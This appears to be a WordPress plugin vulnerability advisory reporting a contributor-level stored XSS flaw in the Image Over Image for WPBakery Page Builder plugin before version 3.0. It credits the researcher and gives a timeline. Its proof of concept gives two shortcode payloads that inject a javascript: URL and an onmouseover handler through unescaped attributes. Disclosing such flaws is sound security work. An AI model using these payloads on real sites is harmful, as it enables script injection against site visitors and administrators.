WordPress Plugin Vulnerabilities

Image Over Image For WPBakery Page Builder < 3.0 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[image_over_image_vc ioi_caption_url='javascript:alert(/XSS/)'] 
[image_over_image_vc ioi_image_effect='" onmouseover="alert(1)" style="background:red;width:100px;height:100px;display:block;"']

Other affected attribute: ioi_url_target

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-03-08 (about 1 years ago)
Added
2023-03-08 (about 1 years ago)
Last Updated
2023-03-20 (about 1 years ago)

Other